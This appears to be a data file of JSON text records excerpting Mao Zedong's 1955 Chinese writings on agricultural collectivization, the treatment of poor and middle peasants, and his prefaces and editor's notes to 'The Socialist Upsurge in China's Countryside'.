    {"text": "这就是在逐步地实现社会主义工业化和逐步地实现对于手工业、对于资本主义工商业的社会主义改造的同时，逐步地实现对于整个农业的社会主义的改造，即实行合作化，在农村中消灭富农经济制度和个体经济制度，使全体农村人民共同富裕起来。"},
    {"text": "到第一个五年计划最后一年的末尾和第二个五年计划第一年的开头，即在一九五八年春季，全国将有二亿五千万左右的人口一一五千五百万左右的农户（以平均四口半人为一户计算）加入半社会主义性质的合作社，这就是全体农村人口的一半。 那时，将有很多县份和若干省份的农业经济，基本上完成半社会主义的改造，并且将在全国各地都有一小部分的合作社，由半社会主义变为全社会主义。 我们将在第二个五年计划的前半期，即在一九六〇年，对于包括其余一半农村人口的农业经济，基本上完成半社会主义的改造。"},
    {"text": "在第一第二两个五年计划时期内，农村中的改革将还是以社会改革为主，技术改革为辅，大型的农业机器必定有所增加，但还是不很多。 在第三个五年计划时期内，农村的改革将是社会改革和技术改革同时并进，大型农业机器的使用将逐年增多，而社会改革则将在一九六〇年以后，逐步地分批分期地由半社会主义发展到全社会主义。"},
    {"text": "中国只有在社会经济制度方面彻底地完成社会主义改造，又在技术方面，在一切能够使用机器操作的部门和地方，统统使用机器操作，才能使社会经济面貌全部改观。"},
    {"text": "十二 一九五四年八月（这已经不是新闻了），中国共产党黑龙江省委的报告说:“随着农村合作化高涨形势的形成和发展，农村各类互助合作组织和各阶层群众，已经程度不同地普遍地动起来了。"},
    {"text": "现有的农业生产合作社正在筹划和酝酿扩大社员，作为建社对象的农业生产互助组正在筹划和酝酿扩充自己的户数，不够条件的农业生产互助组也要求进一步地发展和提高它们自己。"},
    {"text": "但由于某些县、区有的领导同志，未能适应这个新的特点，及时地加强领导，因此，部分村屯（按:黑龙江省的村是行政单位，等于关内各省的乡。 黑龙江省的屯，不是行政单位，等于关内各省的村。"},
    {"text": "）在群众自找对象中，已经开始产生‘强找强，排挤贫困农民’ ， ‘争骨干，争社员，相互闹不团结’，‘骨干盲目集中’，‘富农和资本主义思想较严重的富裕农民趁机组织低级组或富农社’等等不健康的现象。"},
    {"text": "这些，都充分说明了在农业合作化大发展的情况下，光是从建立新社这个范围和角度出发，考虑贯彻执行党的政策，领导这个运动，已经不够了，必须从全村范围（按:即全乡范围）和全面推进农业合作化运动的角度出发，既考虑到老社的扩大，也考虑到新社的建立，既考虑到合作社的发展，也考虑到互助组的提高，既考虑到今年，也考虑到明年，以至后年。"},
    {"text": "从农业全面合作化的利益着眼，适当地配备了骨干力量，调整和密切了社和社、社和组的关系，从而有计划地全面地推进了农业合作化运动。 其次，通过这样的规划，就把农业合作化大发展的工作，具体地布置到基层领导和广大群众中去，使党的村支部懂得了如何进行领导，使老社懂得了如何向前发展，使新社懂得了如何建社，使互助组懂得了提高的具体方向，更加发挥了党的村支部和广大群众的主动性和积极性，充分地体现了依靠党支部、依靠群众的经验和智慧的正确原则。"},
    {"text": "这个报告说:“通过党支部领导和群众自愿相结合进行全面规划的结果，排挤贫困户入社的偏向纠正了，骨干过分集中的问题解决了，互相争骨干、争社员的现象没有了，社组关系更加密切，富农和富裕中农组织富农社或低级组的企图失败了，基本上实现了党支部的计划。"},
    {"text": "农业合作化必须依靠党团员和贫农下中农 农业合作化必须依靠 党团员和贫农下中农 * （一九五五年九月七日） 关于“依靠贫农（包括全部原为贫农的新中农在内）巩固地团结中农”这个口号，在目前基本上依然是正确的，但是，（一）新中农中间出现了富裕中农（即上中农），这些人中间除了若干政治觉悟较高的人以外，其余的人暂时还不愿意加入合作社；（二）老中农中间的下中农，由于他们的经济地位原来就不富裕，有些则因为在土地改革的时候不正当地受了一些侵犯，这些人在经济地位上和新中农中间的下中农大体相似，他们对于加入合作社一般地感到兴趣。因为以上两个原因，故在一切合作化还没有达到高潮，富裕中农还缺乏觉悟的地方，以首先吸收（一）贫农，（二）新中农中间的下中农（在毛泽东同志报告的修正本中，对于中农只分为上中农下中农两部分，未提中中农，以免分得过细，不易区别。现在所说的下中农实际上包括原来所说的新中农中间的下中农和中中农两个部分），（三）老中农中间的下中农，这样三部分人加入合作社为适宜（并应依其觉悟程度，分作多批吸收进来，首先吸收觉悟较高的分子）。对于凡在目前不愿入社的富裕中农，即新老中农中间的上中农，则不要勉强拉入。目前许多地方发生强迫富裕中农入社，目的在打他们的耕畜、农具的主意（作价过低，还期过长），实际上侵犯他们的利益，违反了“巩固地团结中农”的原则。而这个马克思主义的原则，我们无论在什么时候都是决不可以违反的。至于富裕中农中间资本主义思想浓厚的一些人，在目前一切合作社初办或者还不占优势的地方，不论是把他们拉进来，或者他们自己企图钻入合作社谋取领导地位（并非由于真正的政治觉悟），或者企图组织低级社如黑龙江双城县所发现的那样，对于树立贫农和下中农的领导地位都很不利（个别公道能干政治觉悟高的富裕中农，当然不在此例），而一切合作社是必须树立贫农和下中农的领导地位的。有人说，现在的提法似乎是放弃“依靠贫农巩固地联合中农”这个口号了，这是不对的，我们不是放弃这个口号，而是使这个口号按照新的情况加以具体化，即将新中农中间已经上升为富裕中农的人们，不算作依靠对象的一部分，而将老中农中间的下中农算作依靠对象的一部分，这是按照他们的经济地位和对于合作化运动是否采取积极态度来划分的。这即是说，贫农和两部分下中农，相当于老贫农，作为依靠对象，而两部分上中农，则相当于老中农，作为巩固地团结的对象，而目前团结他们的办法之一，就是不要强迫他们入社，侵犯他们的利益。 关于在农村中依靠什么人的问题，还要明了几点。我们首先应当依靠党团员。我们区委以上的领导机关或者派到农村指导工作的干部，不去首先依靠农村中的党团员，而把党团员混同于非党团员群众，这是不对的。第二，应当依靠非党群众中比较更积极一些的分子，这种人应当占农村人口百分之五左右（例如一个二千五百左右人口的乡，应有这样的积极分子一百二十五人左右），我们应当努力训练出这样一批人，我们也不应当把他们混同于一般群众。第三才是依靠一般贫农和两部分下中农的广大群众。这个依靠什么人和如何依靠法的问题不弄清楚，合作化运动就会犯错误。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。"},
    {"text": "农业合作化的一场辩论和当前的阶级斗争 农业合作化的一场辩论 和当前的阶级斗争 * （一九五五年十月十一日） 我们这次会议，是一场很大的辩论。"},
    {"text": "这是在由资本主义到社会主义过渡期间，关于我们党的总路线是不是完全正确这样一个问题的大辩论。 这场全党性的大辩论，是从农业合作化的方针问题引起的，同志们的讨论也集中在这个问题上。 但是，这场辩论牵涉的面很广，牵涉到农业、工业、交通、运输、财政、金融、贸易、文化、教育、科学、卫生等部门的工作，牵涉到手工业和资本主义工商业的改造，牵涉到镇压反革命，还牵涉到军队，牵涉到外交，总之，牵涉到党政军民各方面的工作。 应当有这么一次大辩论。"},
    {"text": "这个辩论，要在农村中间展开，也要在城市中间展开，使各方面的工作，工作的速度和质量，都能够和总路线规定的任务相适应，都要有全面规划。"},
    {"text": "一 农业合作化和资本主义 工商业改造的关系 农业合作化和改造资本主义工商业的关系问题，即在大约三个五年计划时期内基本上完成农业的社会主义改造和在同一时期内基本上完成资本主义工商业的社会主义改造的关系问题，也就是农业合作化和资产阶级的关系问题。 我们认为，只有在农业彻底实行社会主义改造的过程中，工人阶级同农民的联盟在新的基础上，就是在社会主义的基础上，逐步地巩固起来，才能够彻底地割断城市资产阶级和农民的联系，才能够彻底地把资产阶级孤立起来，才便于我们彻底地改造资本主义工商业。"},
    {"text": "如果我们没有新东西给农民，不能帮助农民提高生产力，增加收入，共同富裕起来，那些穷的就不相信我们，他们会觉得跟共产党走没有意思，分了土地还是穷，他们为什么要跟你走呀？"},
    {"text": "要巩固工农联盟，我们就得领导农民走社会主义道路，使农民群众共同富裕起来，穷的要富裕，所有农民都要富裕，并且富裕的程度要大大地超过现在的富裕农民。"},
    {"text": "因为国家没有工业品去交换，农民就不拿粮食出来，单用票子去买他不干，所以列宁打算让无产阶级国家政权和国家资本主义结成联盟，为的是增加工业品来对付农村中的自发势力 〔1〕 。 我们现在搞一个同资产阶级的联盟，暂时不没收资本主义企业，对它采取利用、限制、改造的方针，也就是为了搞到更多的工业品去满足农民的需要，以便改变农民对于粮食甚至一些别的工业原料的惜售行为。"},
    {"text": "拿过去一年国内的阶级斗争来说，我们主要做了四件事：一个是进行反唯心论的斗争，一个是镇压反革命，一个是解决粮食的问题，一个是解决农业合作化的问题。"},
    {"text": "镇压反革命，准备今年和明年一年，在包括国营工厂、国营商业、合作社、县、区、乡各种组织，还包括军队的干部、工厂的工人在内，大概共一千二百万人的范围内，进行肃反工作。"},
    {"text": "要合乎标准才叫反革命，就是要搞真反革命，不要搞出假反革命来。 也要估计到，可能会出假反革命，说不出，那很难。 但是，我们要求出少一点，尽可能不出假反革命。 要完全合乎规格，货真价实，硬是真反革命，不要冤枉好人。"},
    {"text": "第七，办得坏的社是不是都要解散的问题。 当然有某些少数确实不能办下去的社，可以退到互助组，但一般的所谓坏社，是不应当解散的，经过整顿是可以变好的。"},
    {"text": "农村全部的经济规划包括副业，手工业，多种经营，综合经营，短距离的开荒和移民，供销合作，信用合作，银行，技术推广站等等，还有绿化荒山和村庄。"},
    {"text": "还有文化教育规划，包括识字扫盲，办小学，办适合农村需要的中学，中学里面增加一点农业课程，出版适合农民需要的通俗读物和书籍，发展农村广播网、电影放映队，组织文化娱乐等等。"},
    {"text": "（四）全省（或自治区、各市郊区）的规划。 这里面着重全乡的规划，全县的规划。 要抓住这两个环节，迅速作出一批，比如一个省里面搞三、四个县的规划，发出来要各地仿照办理。 合作化的规划，要分别不同地区规定发展的速度。 分三种地区。 第一种多数地区，第二种一部分少数地区，第三种又一部分少数地区。 多数地区要有三个浪潮，三个冬春。 三个浪潮是：今冬明春，明冬后春，再加一个冬春。 三个冬春就是三个浪潮，一波未平一波又起，中间要歇一歇。"},
    {"text": "这就是百分之七十到百分之八十的农村人口加入半社会主义的合作社。 这里面有一个回旋的余地，百分之七十也可以，百分之七十五也可以，百分之八十或者超过一点也可以，这样就叫作基本上完成半社会主义的合作化。"},
    {"text": "在今后五个月之内，省一级，地区一级，县一级，区一级，乡一级，这五级的主要干部，首先是书记、副书记，务必要钻到合作社问题里面去，熟悉合作社的各种问题。"},
    {"text": "到那个时候我们要比质量，大家发言的重点，就不要重复这次的讲演稿，要有新东西，就是要讲全面规划的问题，经营管理的问题，领导方法的问题。"},
    {"text": "县委对地委，地委对省委、区党委，省委、区党委对中央，都要有简报，报告合作社进度如何，发生了什么问题。 各级领导接到这样的简报，掌握了情况，有问题就有办法处置了。"},
    {"text": "邓子恢同志作了自我批评，虽然各小组会上有些同志觉得他讲得还不彻底，但是我们政治局的同志，还有一些同志，谈了一下，觉得基本上是好的。"},
    {"text": "过去邓子恢同志有过依靠商人（就是依靠资产阶级）和“四大自由”这种纲领性的提法，那是错误的，确实是资产阶级性质的纲领，资本主义性质的纲领，不是无产阶级性质的纲领，是违背七届二中全会限制资产阶级的决定的。"},
    {"text": "不去接触干部，不去接触群众，或者接触他们的时候老是教训人，而不是跟他们商量，交换意见：“你看究竟我想的对不对，请你谈一谈你的意见。"},
    {"text": "第二，要在支部和群众中间说明，这一回我们讲下中农和上中农是两个不同的阶层，不是重新划一次阶级，而是因为事实上各阶层对于合作化的态度有积极消极的区别，在一个阶层的内部的个人也有这种区别。"},
    {"text": "比如贫农中间就有暂时不入合作社的。 这一点是可以去说服这些富裕中农的：你看，贫农、下中农也有比较消极的，他不愿意来，也就不要他入，那末你富裕中农现在不愿意来，也就可以不来。"},
    {"text": "是不是可以这样：以县和乡为单位（县为单位还不够，因为一个县基本上合作化了，但是也可能有些乡还没有合作社），一个县，一个乡都基本上合作化了，就是百分之七十到八十的农户入社了，那个地方已经巩固了的合作社就可以开始分批分期地按照地主富农的表现怎么样来处理。"},
    {"text": "地主富农家庭出身的青年，只有十七、八岁，高小毕业，或者初中毕业，硬是文化教员都不能当，我看也不必，我们可以用他们来扫盲，教会农民识字。"},
    {"text": "汉族这么多人，容易看不起少数民族，不是真心诚意地帮助他们，所以必须严格地反对大汉族主义。 当然，少数民族中间会要发生狭隘民族主义的，那也要反对。 但是，这两个东西，主要的、首先要反对的是大汉族主义。 只要汉族同志态度正确，对待少数民族确实公道，在民族政策上、民族关系的立场上完全是马克思主义的，不是资产阶级的观点，就是说，没有大汉族主义，那末，少数民族中间的狭隘民族主义观点是比较容易克服的。 现在大汉族主义还是很不少的，例如包办代替，不尊重人家的风俗习惯，自以为是，看不起人家，说人家怎么样落后等等。"},
    {"text": "比如生小孩子，要有九个月，七个月的时候医生就一压，把他压出来了，那不好，那个叫“左”倾。 如果他已经有了九个月，小孩子自己实在想出来，你不准他出来，那就叫右倾。"},
    {"text": "只要某个地方的领导方面，不管是乡支部、区委、县委、地委、省委，不去注意群众的觉悟程度，不去注意互助组的发展情况，又没有规划，又没有控制，不是分期分批，而是专喜欢数量，不爱好质量，就一定会出现严重的“左”倾错误。"},
    {"text": "在群众热潮起来，大家要求入合作社的时候，必须设想各种困难和一切可能的不利情况，向群众公开说明，让群众去充分考虑，不怕就可以干，如果怕就不要干。"},
    {"text": "有这样一个办法：当着人们刚刚想要骄傲的时候，那个尾巴刚刚翘起来的时候，就给他提出新的任务（比如现在我们提出比质量，明年来就要比质量，那时数量问题是第二位的了），使他来不及骄傲，他没有时间。"},
    {"text": "不过还可以加一点，在上一次党的代表会议上也讲过了，大约在五十年到七十五年的时间内，就是十个五年计划到十五个五年计划的时间内，可能建成一个强大的社会主义国家。"},
    {"text": "章程还要慢一点，要跟民主人士商量，要采取立法的手续，也许和兵役法一样，先由人民代表大会常务委员会讨论一下，交给国务院公布征求意见，各地方就可以照那样试办一个时期，到了明年，再交人民代表大会通过。"},
    {"text": "写文章要讲逻辑。 就是要注意整篇文章、整篇说话的结构，开头、中间、尾巴要有一种关系，要有一种内部的联系，不要互相冲突。 还要讲文法。"},
    {"text": "《中国农村的社会主义高潮》的序言 《中国农村的社会主义高潮》 的序言 （一九五五年九月、十二月） 序言一 （一九五五年九月二十五日） 在从资本主义到社会主义的过渡时期内，中国共产党的总路线是：基本上完成国家的工业化，同时对于农业、手工业和资本主义工商业基本上完成社会主义的改造。"},
    {"text": "湖北的贫农听了停或散的消息，感到“冷了半截”，有些中农则说，“等于朝了一次木兰山”（湖北黄陂县有一个木兰山，山上有一个农民高兴去朝拜的木兰庙）。"},
    {"text": "许多经济地位较低政治觉悟较高的中农，主要地是新中农中间的下中农和老中农中间的下中农，只要我们实行对于贫农和中农这两个阶层互相有利，而不是只利于贫农不利于中农的政策，加上我们的工作方法是好的，他们就愿意加入合作社。"},
    {"text": "这种情况是完全可以理解的，因为合作化是要变更农民的私有生产资料的制度和整个的经营方法，这对于他们是一个根本的变化，他们当然要审慎考虑，在一个时期内不容易下决心。"},
    {"text": "我们的一些同志不去从党的政策和工作方法上解决问题，听了富裕中农一叫，工作中又有一些偏差，就惊惶失措起来，大反其“冒进”，动不动就要“砍掉”合作社，好象如果不赶快割去这个毒瘤，人就会要死了似的。"},
    {"text": "目前，在这个问题上的主要的缺点，是在很多的地方，党的领导没有赶上去，他们没有把整个运动的领导拿到自己的手里来，没有一省一县一区一乡的完整的规划，只是零敲碎打地在那里做，他们缺乏一种主动的积极的高兴的欢迎的全力以赴的精神。"},
    {"text": "这些材料的绝大部分，是从各省、市、区的党内刊物上取来的，有几篇是从报纸上取来，有几篇是下级党委或者工作同志向上级党委的报告，有一篇是请了一个合作社社长到北京谈话的记录。"},
    {"text": "这些材料很有说服力，它们可以使那些对于这个运动到现在还是采取消极态度的人们积极起来，它们可以使那些到现在还不知道怎样办合作社的人们找到办合作社的方法，它们更可以使那些动不动喜欢“砍掉”合作社的人们闭口无言。"},
    {"text": "特别是我们还没有在全党进行一次广泛有力的宣传工作，这就使得很多的同志对于这个问题没有提起注意，不明了这个运动的方针、政策和办法，使得党内的意志还不统一。"},
    {"text": "当时，曾经将这些材料印成样本，发给参加一九五五年十月四日至十一日中国共产党第七届中央委员会第六次全体会议（扩大）的各省委、市委、自治区党委和地委的负责同志阅看，请他们提出意见。"},
    {"text": "我们从原有的一百二十一篇材料中删去了三十篇，留下九十一篇，从新收材料中选出了八十五篇，共计一百七十六篇，约有九十万字，成了现在这个本子。"},
    {"text": "中国的一亿一千万农户中，到现在——一九五五年十二月下旬——已有百分之六十以上的农户，即七千多万户，响应中共中央的号召，加入了半社会主义的农业生产合作社。 我在一九五五年七月三十一日所作关于农业合作化问题的报告中，提到加入合作社的农户数字是一千六百九十万户，几个月时间，就有五千几百万农户加入了合作社。"},
    {"text": "这件事告诉我们，只需要一九五六年一个年头，就可以基本上完成农业方面的半社会主义的合作化。 再有三年到四年，即到一九五九年，或者一九六0年，就可以基本上完成合作社由半社会主义到全社会主义的转变。"},
    {"text": "这件事告诉我们，中国的手工业和资本主义工商业的社会主义改造，也应当争取提早一些时候去完成，才能适应农业发展的需要。 这件事告诉我们，中国的工业化的规模和速度，科学、文化、教育、卫生等项事业的发展的规模和速度，已经不能完全按照原来所想的那个样子去做了，这些都应当适当地扩大和加快。"},
    {"text": "在三个五年计划完成的时候，即到一九六七年，粮食和许多其他农作物的产量，比较人民共和国成立以前的最高年产量，可能增加百分之一百到百分之二百。"},
    {"text": "这里有农业的生产，工业（包括国营、公私合营和合作社营）和手工业的生产，工业和交通运输的基本建设的规模和速度，商业同其他经济部门的配合，科学、文化。"},
    {"text": "为了使更多的人了解现在农村的情况，我们准备从一百七十六篇材料中抽出四十四篇，约有二十七万字，印一个节本，使那些不可能阅读全书的人也能够接触这个问题。"},
    {"text": "《中国农村的社会主义高潮》的按语 《中国农村的社会主义高潮》 的按语 * （一九五五年九月、十二月） 一 这篇文章写得很好，值得作为本书的第一篇向读者们推荐。"},
    {"text": "河北省遵化县的第十区，十一个乡，四千三百四十三户，从一九五二年到一九五四年，共计三年时间内，已经在半社会主义性质的阶段内基本上完成了合作化，入社农户占全区农户的百分之八十五。"},
    {"text": "这个区的农林牧等项生产的产量，一九五四年同一九五二年比较，粮食增加了百分之七十六，林木增加了百分之五十六点四，果树增加了百分之六十二点八七，羊增加了百分之四百六十三点一。"},
    {"text": "我们提出了“积极领导，稳步前进”，“全面规划，加强领导”这样一些口号，并且赞成遵化县同志们所提出来的“书记动手，全党力、社”这个完全正确的口号。 在遵化县，难道不是“积极领导，稳步前进”的吗？ 难道不是“全面规划，加强领导”的吗？"},
    {"text": "难道在三年内，由于一步一步地实现了合作化，粮食增加了百分之七十六，林木增加了百分之五十六点四，果树增加了百分之六十二点八七，羊增加了百分之四百六十三点一，这就算是一种危险吗？"},
    {"text": "只要这些人掌握了自己的命运，又有一条马克思列宁主义的路线，不是回避问题，而是用积极的态度去解决问题，任何人间的困难总是可以解决的。"},
    {"text": "这件事给了一切共产党人一个深刻的教训：群众中蕴藏了这样大的社会主义的积极性，为什么在许多领导机关，在几个月以前，居然没有感觉到，或者感觉的那样少呢？"},
    {"text": "（《所谓落后乡村并非一切都落后》一文按语） 三 那些不相信就一个一个的地方来说可以在三年内实现初级形式的合作化的人们（三年合作化的口号是群众提出的，遭到了机会主义者的批评），那些不相信晚解放区可以和老解放区同时实现合作化的人们，请看一看江苏省昆山县的这个乡罢！"},
    {"text": "我们已经看到蒙族，回族，维吾尔族，苗族，壮族和其他一些民族都已经办了不少的合作社，或者是几个族的人民联合办的合作社，并且成绩很好，这就驳斥了那些对于少数民族采取轻视态度的人们的错误观点。"},
    {"text": "在中国，富农经济很弱（在土地改革时期，征收了他们的半封建的那部分土地，老富农大多数已无雇工，他们在社会上的名声又很坏），富裕的和比较富裕的中农的力量却是相当强大的，他们占农村人口的百分之二十到三十。"},
    {"text": "富裕中农之所以敢于宣传鸡毛不能上天一类的从古以来的真理，就是因为合作社还没有增产，穷社还没有变成富社，个别的孤立的合作社还没有变成成千成万的合作社。"},
    {"text": "我们的许多地方党组织没有能够给贫苦农民以坚决的支持，也不能完全怪它们，上面还没有给机会主义思想以致命的打击，还没有给合作化做出全面的规划，并且在全国范围内加强对于这个运动的领导。"},
    {"text": "（《谁说鸡毛不能上天》一文按语） 六 几乎带普遍性地在许多地方存在着的、阻碍广大的贫农和下中农群众走合作化道路的、党内的右倾机会主义分子，同社会上的资本主义势力互相呼应着。"},
    {"text": "特别要请那些不相信广大农民群众有走社会主义道路的积极性的同志和那些动不动就想拿起刀来“砍掉”合作社的同志好好地看一遍。 现在全国农村中，社会主义因素每日每时都在增长，广大农民群众要求组织合作社，群众中涌出了大批的聪明、能干、公道、积极的领袖人物，这种情况十分令人兴奋。"},
    {"text": "目前的任务，就是要使各级地方党委在这个问题上采取马克思列宁主义的主动立场，将整个农业合作化的任务拿到自己手里来，用积极的高兴的欢迎的全力以赴的态度去领导这个运动。"},
    {"text": "我国的农业的社会主义改造能不能和国家工业化的进度相适应，合作化运动能不能健康地发展，少出毛病，保证增产，就看各级地方党委的领导重心是不是能够迅速地和正确地转移到这一方面来。"},
    {"text": "这种转变，首先要靠各级党委的书记——省委和自治区党委的书记，地委和自治州委的书记，县委和自治县委的书记，区委书记和支部书记，他们应当把整个农业合作化的任务拿起来。"},
    {"text": "怕麻烦，怕困难，面临着这样伟大的任务自己不动手，仅仅委托给农村工作部，或者工作组，这种态度，不但任务不可能完成，而且会要闹出很多的乱子来的。"},
    {"text": "（《凤冈县崇新乡是怎样在党支部领导下开展互助合作运动的》一文按语） 十 本文作者说，自从县里开了合作社主任的联席会议以后，这个合作社，就在临时包工的基础上，实行了季节包工制。"},
    {"text": "我们希望全国二千几百个县的县级领导机关，密切地注意全县合作化运动的发展情况，发现问题，研究解决问题的办法，及时地召开全县的合作社主任的会议，或者全县的重点合作社主任的会议，作出决定，迅速推行。"},
    {"text": "只要我们党对于处理合作化问题上的各项政策是正确的，只要我们党当着发动群众加入合作社的时候所采用的工作方法，不是命令主义的或者简单从事的方法，而是向群众讲道理，作分析，完全依靠群众自觉自愿的方法，那末，完成合作化，并且达到增产，决不是很困难的。"},
    {"text": "河北省邢台县东川口村是老解放区，全村七十户，在一九五二年以前都加入了互助组，有一个强的党支部，又有王志棋那样为群众所信任的领袖人物，各方面的条件都成熟了。"},
    {"text": "合作社的领导机关必须建立现有贫农和新下中农在领导机关中的优势，而以老下中农和新老两部分上中农作为辅助力量，一才能按照党的政策实现贫农和中农的团结，巩固合作社，发展生产，正确地完成整个农村的社会主义改造。 没有这个条件，中农和贫农就不能团结，合作社就不能巩固，生产就不能发展，整个农村的社会主义改造就不能实现。"},
    {"text": "他们认为建立贫农优势的问题，在土地改革时期是必要的，因为那时占农村人口百分之五十、六十到七十的贫农，还没有上升为中农，而中农对于土地改革是动摇的，因此那时确有建立贫农优势的必要。 现在是实行农业的社会主义改造的时期，过去的贫农大部分已经上升为新中农，而老中农的生产资料又多，没有老中农参加就不能解决合作社生产资料缺乏的问题。"},
    {"text": "工人阶级和共产党如果要用社会主义精神和社会主义制度去彻底地改造整个农村的小农私有生产资料的制度，便只有依靠过去是半无产阶级的广大的贫农群众，才能比较顺利地办到，否则将是很困难的。 因为农村中的半无产阶级，是比较地不固执小农私有生产资料的制度，比较地容易接受社会主义改造的人们。"},
    {"text": "他们中间的大部分现在已经变为新中农，但是他们同老中农比较起来，除了一部分新富裕中农以外，大多数在政治上有较高的觉悟，他们过去的困苦生活还是容易回忆起来。 还有，老中农中间的下中农，他们的经济地位和政治态度，和新中农中间的下中农比较接近，而和新老中农中间的上中农，即富裕的和比较富裕的中农不相同。 因此，在合作化的过程中，我们必须注意：（一）现在还处于困难地位的贫农，（二）新中农中间的下中农，（三）老中农中间的下中农，这样三部分比较容易接受社会主义改造的人们，首先分批分期引导他们加入合作社，并且选择他们中间觉悟程度较高、组织能力较强的若干人，加以训练，组成合作社的领导骨干，特别要注意从现有贫农和新下中农里面选择这种骨干分子。"},
    {"text": "这不是在农村中重新来一次划分阶级成份的工作，而是在合作化的过程中，党的支部和派到农村做指导工作的同志们应当注意掌握的一种方针，这个方针应当公开告诉农民群众。"},
    {"text": "我们也不是说富裕中农不能入社，而是说等到富裕中农的社会主义觉悟提高了，他们表示愿意入社，并且愿意服从贫农（包括现在的贫农和原来是贫农的全部新下中农）领导的时候，再去吸收他们入社，不要为了打他们的耕牛农具的主意，当着他们不愿意入社的时候强迫他们入社。"},
    {"text": "我们也不是说富裕中农一个也不能充当合作社的干部。 那些社会主义觉悟程度高，公道能干，为全社大多数人所佩服的个别的富裕中农，也可以充当干部。"},
    {"text": "但是，合作社必须树立贫农（再说一遍，包括现在的贫农和原来是贫农的全部新下中农在内，他们占农村人口的多数，或者大多数）的优势。 在组织成份方面，他们应占三分之二左右，中农（包括老下中农和新老两部分上中农）只占也应占三分之一左右。"},
    {"text": "湖南省长沙县高山乡的经验，充分地告诉我们：建立贫农优势和由此去巩固地团结中农的必要性和可能性，以及如果不这样做，它的危险又会怎么样。"},
    {"text": "等到看清了大势，革命将要胜利的时候，中农才会参加到革命方面来。 贫农必须向中农做工作，把中农团结到自己方面来，使革命一天一天地扩大，直到取得最后的胜利。"},
    {"text": "现在的农业生产合作社的社务管理委员会，如同过去的农民协会一样，必须吸引老下中农和一部分觉悟较高的和有代表性的新老上中农参加，但是人数不可太多，以占三分之一左右为适宜。"},
    {"text": "社的主要领导干部，除了老下中农和若干觉悟很高、确实公道能干的新老上中农仍然可充当以外，一般应当由贫农（再说一遍，包括现在的贫农和原来是贫农的全部新下中农）来充当。 我们对于福建省福安县贫农领导的合作社和中农领导的合作社对社会主义事业表示不同的态度这样一种情况，不应当看作是个别的现象，它是具有普遍意义的。"},
    {"text": "许多中农要“再看一看”，他们爱“在外边松快”，他们主要地是要看合作社对于他们的生产资料入社是否使他们不吃亏，他们是可以这样也可以那样的。"},
    {"text": "各省应当在自己的关于合作化问题的决议或者指示里面指出，一切合作社有责任帮助鳏寡孤独缺乏劳动力的社员（应当吸收他们入社）和虽然有劳动力但是生活上十分困难的社员，解决他们的困难。"},
    {"text": "目前，政府已经设立了贫农基金，可以帮助贫农解决耕牛农具的困难，但是还不能解决贫农中有些户缺乏劳动力的困难，也不能完全解决有些户在青黄不接时期缺乏生活资料的困难，这只有依靠合作社广大群众的力量才能解决。"},
    {"text": "富裕中农的大多数，在一九五五年上半年，对于合作化还是反对的，下半年就有一部分人改变了态度，表示要入合作社，虽然其中有一些人的目的是为了想要取得合作社的领导权而入社的。"},
    {"text": "仅在那里的党组织批判了自己的错误，重新向社员群众进行了反对资本主义加强社会主义的教育，恢复了政治工作，方才克服了那里的危机，走上了继续发展的道路。"},
    {"text": "反对自私自利的资本主义的自发倾向，提倡以集体利益和个人利益相结合的原则为一切言论行动的标准的社会主义精神，是使分散的小农经济逐步地过渡到大规模合作化经济的思想的和政治的保证。"},
    {"text": "使我国五亿多农民实行社会主义改造这样一种惊天动地的事业，不可能是在一种风平浪静的情况下出现的，它要求我们共产党人向着背上背着旧制度包袱的广大的农民群众，进行耐心的生动的容易被他们理解的宣传教育工作。"},
    {"text": "它不是象有些不善于做宣传的同志那样，仅仅简单地提到所谓“或者走共产党的道路，或者走蒋介石的道路”，只是企图拿大帽子压服听众，手里并无动人的货色，而是拿当地农民的经验向农民作细致的分析，这就具有很强的说服力。"},
    {"text": "（《一个整社的好经验》一文按语） 二十二 反革命破坏合作化运动的问题，是一个普遍的问题，不是贵州省都匀县第五区一个地方的问题，但是我们在别省的同类刊物上却很少看到这个问题的反映。"},
    {"text": "在县委的领导和监督之下，党的区委，在研究了情况，向党内外作好了宣传和解释，提高了群众对于反革命破坏活动的警惕以后，对于混入合作社领导机关里的反革命分子和其他坏分子，加以审查、清洗和处理，是完全必要的。"},
    {"text": "（《必须和反革命的破坏活动作坚决的斗争》一文按语） 二十三 为了建设伟大的社会主义社会，发动广大的妇女群众参加生产活动，具有极大的意义。"},
    {"text": "老年人和成年人的保守思想是比较多的，他们往往压抑青年人的进步活动，要在青年人做出了成绩以后他们才心服，本文就是很好地描写了这种情况。"},
    {"text": "勤俭经营应当是全国一切农业生产合作社的方针，不，应当是一切经济事业的方针。 勤俭办工厂，勤俭办商店，勤俭办一切国营事业和合作事业，勤俭办一切其他事业，什么事情都应当执行勤俭的原则。"},
    {"text": "（《勤俭办社》一文按语） 二十九 这是一个全乡一千多户建成一个大合作社（他们叫做集体农庄，即是合作社）的七年远景计划，可作各地参考。"},
    {"text": "（《一个合作社的三年生产规划》一文按语） 三十一 这个乡做了一个合作化、增产措施、水利、整党整团、文化教育等项工作的两年计划，全国各乡也应当这样做。"},
    {"text": "兴修水利是保证农业增产的大事，小型水利是各县各区各乡和各个合作社都可以办的，十分需要定出一个在若干年内，分期实行，除了遇到不可抵抗的特大的水旱灾荒以外，保证遇旱有水，遇涝排水的规划。"},
    {"text": "（《应当使每人有一亩水地》一文按语） 三十三 养猪是关系肥料、肉食和出口换取外汇的大问题，一切合作社都要将养猪一事放在自己的计划内，当然省、专、县、区都应有自己的计划。"},
    {"text": "在许多地方，合作化的实践，打破了人们的这种顾虑，劳动力不是过剩，而是不足。 有些地方，合作化以后，一时感到劳动力过剩，那是因为还没有扩大生产规模，还没有进行多种经营，耕作也还没有精致化的缘故。 对于很多地方说来，生产的规模大了，经营的部门多了，劳动的范围向自然界的广度和深度扩张了，工作做得精致了，劳动力就会感到不足。"},
    {"text": "一年内每个男女劳动力的工作日，依照经营方法的改进，生产门路的扩大，还可以增加，不是如同文内所说的男的一百多个工作日，女的几十个工作日，而是可以做到男的二百多个工作日，女的一百多个工作日，或者更多一些。"},
    {"text": "副业必须要有确实的销路，不能盲目发展，这是对的。 农村副业，就全国说来，一个很大的部分是为农村服务的，但是必须有一个不小的部分为城市服务和为出口服务，将来这部分可能扩大起来。"},
    {"text": "列宁说过：“在一个文盲充斥的国家内，是建成不了共产主义社会的。 ” 〔2〕 我国现在文盲这样多，而社会主义的建设又不能等到消灭了文盲以后才去开始进行，这就产生了一个尖锐的矛盾。"},
